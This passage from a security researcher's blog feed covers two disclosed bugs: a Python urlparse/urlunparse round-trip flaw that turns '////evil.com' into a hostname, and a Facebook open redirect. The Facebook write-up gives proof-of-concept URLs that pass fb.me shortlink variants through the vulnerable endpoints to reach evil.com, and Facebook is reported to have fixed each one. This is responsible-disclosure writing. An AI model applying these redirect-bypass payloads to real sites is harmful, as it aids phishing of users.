<p><code class="language-plaintext highlighter-rouge">urlparse.urlunparse()</code> function is supposed to reconstruct the components of a URL returned by the <code class="language-plaintext highlighter-rouge">urlparse()</code> function back to form of the original URL. However, URLs do not survive the round-trip through  <code class="language-plaintext highlighter-rouge">urlunparse(urlparse(url))</code>. Python sees <code class="language-plaintext highlighter-rouge">////example.com</code> as a URL with no hostname or scheme therefore considers it a path <code class="language-plaintext highlighter-rouge">//example.com</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">output</span> <span class="o">=</span> <span class="n">urlparse</span><span class="p">(</span><span class="s">"////evil.com"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">output</span><span class="p">)</span>
<span class="n">ParseResult</span><span class="p">(</span><span class="n">scheme</span><span class="o">=</span><span class="s">''</span><span class="p">,</span> <span class="n">netloc</span><span class="o">=</span><span class="s">''</span><span class="p">,</span> <span class="n">path</span><span class="o">=</span><span class="s">'//evil.com'</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="s">''</span><span class="p">,</span> <span class="n">query</span><span class="o">=</span><span class="s">''</span><span class="p">,</span> <span class="n">fragment</span><span class="o">=</span><span class="s">''</span><span class="p">)</span>
</code></pre></div></div>

<p>As you see, the two slashes are removed and it is marked as a relative-path URL but the issue arises when we reconstruct the URL using <code class="language-plaintext highlighter-rouge">urlunparse()</code> function - the URL is treated as an absolute path.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">output</span> <span class="o">=</span> <span class="n">urlunparse</span><span class="p">(</span><span class="n">output</span><span class="p">)</span> <span class="c1"># from previous output
</span><span class="k">print</span><span class="p">(</span><span class="n">output</span><span class="p">)</span>
<span class="s">"//evil.com"</span>
<span class="n">urlparse</span><span class="p">(</span><span class="n">output</span><span class="p">)</span> <span class="c1"># let's deconstruct the new output
</span><span class="n">ParseResult</span><span class="p">(</span><span class="n">scheme</span><span class="o">=</span><span class="s">''</span><span class="p">,</span> <span class="n">netloc</span><span class="o">=</span><span class="s">'evil.com'</span><span class="p">,</span> <span class="n">path</span><span class="o">=</span><span class="s">''</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="s">''</span><span class="p">,</span> <span class="n">query</span><span class="o">=</span><span class="s">''</span><span class="p">,</span> <span class="n">fragment</span><span class="o">=</span><span class="s">''</span><span class="p">)</span>
</code></pre></div></div>

<p>We went from a path to a hostname as you can see above after reconstructing the input. Depending on its usage across the code, this inconsistency in parsing URLs could result in a security issue which was indeed demonstrated on Reddit suffering from an open redirect vulnerability caused by this unexpected behavior.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://github.com/reddit/reddit/commit/689a9554e60c6e403528b5d62a072ac4a072a20e
</code></pre></div></div>

<p>I reported this issue to Python but it wasn’t resolved and the ticket remains open since then</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://bugs.python.org/issue23505
</code></pre></div></div>]]></content><author><name>Yassine Aboukir</name></author><category term="appsec" /><summary type="html"><![CDATA[URLparse defines a standard interface to break URL strings up in components (addressing scheme, network location, path etc.). E.g:]]></summary></entry><entry><title type="html">How I discovered a $1000 open redirect in Facebook</title><link href="https://www.yassineaboukir.com//blog/how-I-discovered-a-1000$-open-redirect-in-facebook/" rel="alternate" type="text/html" title="How I discovered a $1000 open redirect in Facebook" /><published>2014-12-30T00:00:00+00:00</published><updated>2014-12-30T00:00:00+00:00</updated><id>https://www.yassineaboukir.com//blog/how-I-discovered-a-1000$-open-redirect-in-facebook</id><content type="html" xml:base="https://www.yassineaboukir.com//blog/how-I-discovered-a-1000$-open-redirect-in-facebook/"><![CDATA[<p>I am not really used to writing about vulnerabilities I discovered but this time is worth it since it is a bit exceptional for me as it is about a security issue found on Facebook.</p>

<p>As you have read in the title, Facebook is vulnerable to an open redirect because some parameters ddin’t not fully validate the input allowing an attacker to redirect the victim to a malicious page. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.</p>

<h2 id="vulnerable-endpoints">Vulnerable endpoints</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.facebook.com/ads/manage/log/?uri=xxxxx&amp;event=view_power_editor&amp;ad_account_id=1
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.facebook.com/browsegroups/addcover/log/?groupid=1&amp;groupuri=xxxxx
</code></pre></div></div>

<p>Facebook has, indeed, implemented some protection against open redirection since I was not able to perform the attack using some common techniques like you the ones below :</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.facebook.com/browsegroups/addcover/log/?groupid=1&amp;groupuri=https://www.evil.com/
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.facebook.com/browsegroups/addcover/log/?groupid=1&amp;groupuri=../evil.com
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.facebook.com/browsegroups/addcover/log/?groupid=1&amp;groupuri=https://l.facebook.com/l.php?u=https://evil.com
</code></pre></div></div>

<p>None of the above bypass techniques worked. I was about to give up when I noticed in my Twitter feed some Facebook shortned links that looked like: <code class="language-plaintext highlighter-rouge">https://fb.me/7kFH9QAMH</code> (redirects to evil.com). These links were automatically generated if you link your facebook account with Twitter so I quickly got back to my testing and tried to bypass the protection using the shortned link which worked perfectly.</p>

<p>After reporting it to facebook on <code class="language-plaintext highlighter-rouge">13/12/2014</code> it was fixed on <code class="language-plaintext highlighter-rouge">17/12/2014</code> and Facebook rewarded me with a <strong>500$</strong> bounty for it.</p>

<h2 id="proof-of-concept-1">Proof Of Concept 1:</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.facebook.com/browsegroups/addcover/log/?groupid=1&amp;groupuri=https://fb.me/7kFH9QAMH
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.facebook.com/browsegroups/addcover/log/?groupid=1&amp;groupuri=https://l.facebook.com/l.php?u=https:// fb.me/7kFH9QAMH
</code></pre></div></div>

<p>You would be redirected to <code class="language-plaintext highlighter-rouge">evil.com</code>.</p>

<p>I went to back to check if somehow I could bypass again the protection. So, I took a deep look at the <code class="language-plaintext highlighter-rouge">fb.me</code> domain and I found some subdomains like <code class="language-plaintext highlighter-rouge">https://on.fb.me</code> for facebook pages and I tried to guess other valid subdomains. Subsequently, I found this valid subdomain <code class="language-plaintext highlighter-rouge">https://d.fb.me/7kFH9QAMH</code> which worked perfectly allowing me to bypass the protection.</p>

<h2 id="proof-of-concept-2">Proof Of Concept 2:</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.facebook.com/browsegroups/addcover/log/?groupid=1&amp;groupuri=https://d.fb.me/7kFH9QAMH
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.facebook.com/browsegroups/addcover/log/?groupid=1&amp;groupuri=https://d.fb.me/7kFH9QAMH
</code></pre></div></div>

<p>I quickly escalated the bug to Facebook security team on <code class="language-plaintext highlighter-rouge">22/12/2014</code> and they fixed on <code class="language-plaintext highlighter-rouge">24/12/2014</code> but they decided not to reward it because it similar to the original one. I was not happy with their decision, so I managed to find a another way to bypass the protection again, hopefully this time they’ll reconsider awarding a bounty for my efforts.</p>

<p>I tried again some new tricks but they all failed then, unintentionally, I added the <code class="language-plaintext highlighter-rouge">www</code> to the shortned Facebook link such as <code class="language-plaintext highlighter-rouge">https://www.fb.me/7kFH9QAMH</code> and the open redirect worked just fine. With other words, I bypassed Facebook previous fix once again.</p>

<h2 id="proof-of-concept-3-">Proof Of Concept 3 :</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.facebook.com/browsegroups/addcover/log/?groupid=1&amp;groupuri=https://www.fb.me/7kFH9QAMH
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.facebook.com/browsegroups/addcover/log/?groupid=1&amp;groupuri=https://www..fb.me/7kFH9QAMH
</code></pre></div></div>

<p>I followed-up with the security engineer who escalated the bug on <code class="language-plaintext highlighter-rouge">24/12/2014</code> and it got fixed on <code class="language-plaintext highlighter-rouge">30/12/2014</code> and, luckily, Facebook decided to reward <strong>500$</strong> for it.</p>]]></content><author><name>Yassine Aboukir</name></author><category term="bug bouties" /><category term="appsec" /><summary type="html"><![CDATA[I am not really used to writing about vulnerabilities I discovered but this time is worth it since it is a bit exceptional for me as it is about a security issue found on Facebook.]]></summary></entry></feed>